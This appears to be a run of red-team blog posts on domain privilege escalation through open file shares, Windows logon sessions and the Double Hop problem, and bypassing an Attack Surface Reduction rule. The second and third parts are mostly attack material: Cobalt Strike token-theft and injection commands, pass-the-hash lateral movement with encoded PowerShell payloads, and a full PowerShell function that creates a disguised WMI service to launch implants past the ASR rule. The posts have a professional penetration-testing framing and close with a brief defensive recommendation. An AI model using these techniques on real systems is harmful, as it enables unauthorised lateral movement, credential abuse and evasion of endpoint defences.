Currently one of the most effective methods of domain privileges escalation is finding open shares with sensitive information, server backups, database passwords, user passwords, or modifiable executables or scripts. This method often gets us Domain Admin privileges and has been successful on several recent client engagements.

Some of the real world examples include finding Domain Controller backups (with the ability to extract KRBTGT), plaintext domain admin credentials, database passwords (which allowed us to create a Drupal admin and shell the server), writable web roots and even the ability to backdoor PowerShell scripts that executed daily with Domain Admin privileges.

Locating open shares is painless with tools like SharpShares and Find-DomainShare but triaging through the often endless list of open shares can be time consuming. A few tools exist (such as SharpSearch and Find-InterestingDomainShareFile), but nothing with the level of automation I wanted.

I decided to combine SharpShares and SharpSearch to create a tool capable of searching open file shares for the low-hanging fruit that normally gets us Domain Admin. These will save hours of manual searching (especially when limited to a command line) on internal and red team engagements.

The tool first queries the domain controller for all computer objects, asks each computer for a list of shares and determines read access, creates a list of files with specific extensions or filenames and then checks if the selected files contain any of the keywords (such as password, ConvertTo-SecureString, secretAccessKey, PRIVATE KEY, decryptionKey, etc).

You’ll be able to find the tool available on our GitHub in the near future once it’s received more testing in production. We plan to continuously improve the match criteria to find interesting files and add the detection of potential backdoor opportunities in a future release.

I wanted to provide a quick overview on Windows credential management in relation to penetration testing, why passwords are not always stored in memory and the Double Hop problem.

Windows creates a logon session upon a successful authentication. Each logon session will be backed by several authentication packages. These authentication packages store the credential material. The logon type and protocol will determine what credential material gets stored.

All processes and threads have an access token that is tied to a logon session. If a process or thread wants to execute in a different security context than it must acquire the appropriate access token. This concept is called impersonation.

During a Network logon (type 3 – e.g. WMI, PsExec, SMB, etc) the client proves they have credentials but does not send them to the target. A logon session is created but no sensitive credential material will exist on the target. Processes or threads which have an access token tied to this logon session will NOT be able to authenticate to network resources within the context of the user. This is often termed the Double Hop problem.

During an Interactive (local console) or Remote Interactive (RDP) logon (types 2 and 10 respectively) the client sends the credentials to the target. The credentials are now stored within the credential material of an authentication package for that logon session. Processes or threads which have an access token tied to this logon session WILL be able to authenticate to network resources within the context of the user.

On a side note, if you have even wondered how the Mimikatz sekurlsa::logonpasswords command works, it iterates over all logon sessions and dumps the credential material in each default authentication package.

You can solve the Double Hop problem by acquiring an access token for a logon session (impersonating) or injecting code into a process that contains the required access token. In Cobalt Strike this would be the commands:

1 steal_token [pid]
2 inject [pid] (x86|x64) [listener] 
3 shinject [pid] (x86|x64) [/path/to/shellcode.bin]
4 spawnu [pid] [listener]   

If no logon sessions exist with the credential material you require, you can create one using the Cobalt Strike commands:

1 make_token [DOMAIN\user] [password]
2 pth [DOMAIN\user] [HASH]
3 spawnas [DOMAIN\user] [password] [listener] 

Lastly you can directly pass the credentials to the tool performing the network operations like so:

$pass = ConvertTo-SecureString 'Winter2019' -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\Account', $pass);

Invoke-WmiMethod -Credential $cred -ComputerName "Target" win32_process -name create -argumentlist 'powershell -ep bypass -noP -enc JABjACAAPQA...'
Invoke-Command -Credential $cred -ComputerName "Target" -ScriptBlock {powershell -ep bypass -noP -enc JABjACAAPQA...}
# https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec -Target Target -Domain DOMAIN -Username Account -Hash FFB91205A3D288362D86C529728B9DC0 -Command "powershell -ep bypass -noP -enc JABjACAAPQA..." -Verbose
Invoke-WMIExec -Target Target -Domain DOMAIN -Username Account -Hash FFB91205A3D288362D86C529728B9DC0 -Command "powershell -ep bypass -noP -enc JABjACAAPQA..." -Verbose

Hopefully this gives you a better understanding of when you are allowed to authenticate to network resources during a penetration test.

This blog post will discuss techniques to bypass the Attack Surface Reduction (ASR) rule “Block process creations originating from PSExec and WMI commands” which I came up against during a recent engagement.

The simplest solution to bypassing these restrictions could be to use a different lateral movement method such as Windows Remote Management (WinRM), Remote Desktop Protocol (RDP) or Distributed Component Object Model (DCOM) applications. Let’s assume these are all out of the question for the sake of the blog post.

The PSExec lateral movement method (also referred to by the name SMBExec) uses Remote Procedure Calls over SMB to call into the Service Control Manager and create a Window Service for code or command execution. I tested PSExec with the ASR rule enabled using the Invoke-TheHash toolkit and nothing prevented creating a Windows Service to create a process. I read online that the ASR rule only impacts the Sysinternals PsExec implementation which further tested proved correct. So, the simplest bypass would be to use a custom implementation of the PsExec method such as Invoke-TheHash.

Another bypass method would be to use the Windows Management Instrumentation (WMI) service. The WMI service will lookup requests in a repository containing the class definitions to determine a responsible provider. The WMI providers contain the functionality and implement the classes and methods. The most common WMI lateral movement implementations leverage the Win32_Process::Create method within the Win32 Provider to launch a process on the target machine. This method is blocked when the ASR rule is enabled, and often monitored by Endpoint Detection and Response (EDR) software.

This does not prevent an attacker from leveraging other providers, classes and methods for lateral movement. WMI contains powerful functionality with a diverse set of providers. The Win32_Service class exposes functionality to manage services on a target machine. I used this class to bypass the ASR rule and perform lateral movement with the PowerShell function below. The code leverages the Win32_Service class to create, start and delete a service on the target machine. The service is configured to spawn a command shell and run the specified command. This setup can be used to launch a Cobalt Strike, Empire, Covenant, etc implant in an ASR enabled environment.

WMI Service Lateral Move

function Invoke-WMIServiceLateralMove {
	Param (
        [parameter(Mandatory)][String]$ComputerName,
    	[parameter(Mandatory)][String]$Command,
        [String]$ServiceName = "MemProtectSvc",
        [String]$ServiceDescription = "Memory Protection"
	)

    $Command = "%COMSPEC% /C " + $Command

    Write-Host ("Creating Service {0} on {1}" -f $ServiceName, $ComputerName)
    $ret = Invoke-WmiMethod -ComputerName $ComputerName -Class win32_service -name create -ArgumentList @($true,$ServiceDescription,2,$null,$null,$ServiceName,$Command,$null,16,'Automatic',$null,$null)
    # ArgumentList MUST be (DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup, LoadOrderGroupDependencies, 
    # Name, PathName, ServiceDependencies, ServiceType, StartMode, StartName, StartPassword)
    if ($ret.ReturnValue -ne 0) {
        Write-Host ("Service Creation Failed! Output:")
        Write-Output $ret 
    }
    Write-Host ("Starting Service {0} on {1}" -f $ServiceName, $ComputerName)
    $service = Get-WmiObject -ComputerName $ComputerName -Class Win32_Service -Filter "Name='$ServiceName'"
    $ret = $service.startservice() # this will block because the executable is not a real service

    Write-Host ("Deleting Service {0} on {1}" -f $ServiceName, $ComputerName)
    $ret = $service.StopService()
    $ret = $service.Delete()
    if ($ret.ReturnValue -ne 0) {
        Write-Host ("Service Deletion Failed! Manual cleanup required for {0}" -f $ServiceName)
        Write-Output $ret 
    }
	Write-Host "Done"
}

I used Windows Services instead of directly accessing the registry because it allowed starting and stopping the service for instant lateral movement. Stealthier approaches exist and the Win32_Registry class could be used to modify services, scheduled tasks, start-up entries, ASR rules, etc. These were the first things that come to mind when thinking about lateral movement with the methods available in the Win32_Registry class.

There are some creative methods blogged about online for lateral movement without the Win32_Process class. These include installing MSI packages, VBS scripts, class derivation and loading a custom provider.

The ASR rule should not be considered a security boundary and can be easily bypassed using creative approaches. I recommend disabling PSExec and WMI if they are not required within an environment to make lateral movement move difficult. If PSExec and WMI are required, they should be monitored for unusual behavior as this could indicate malicious activity.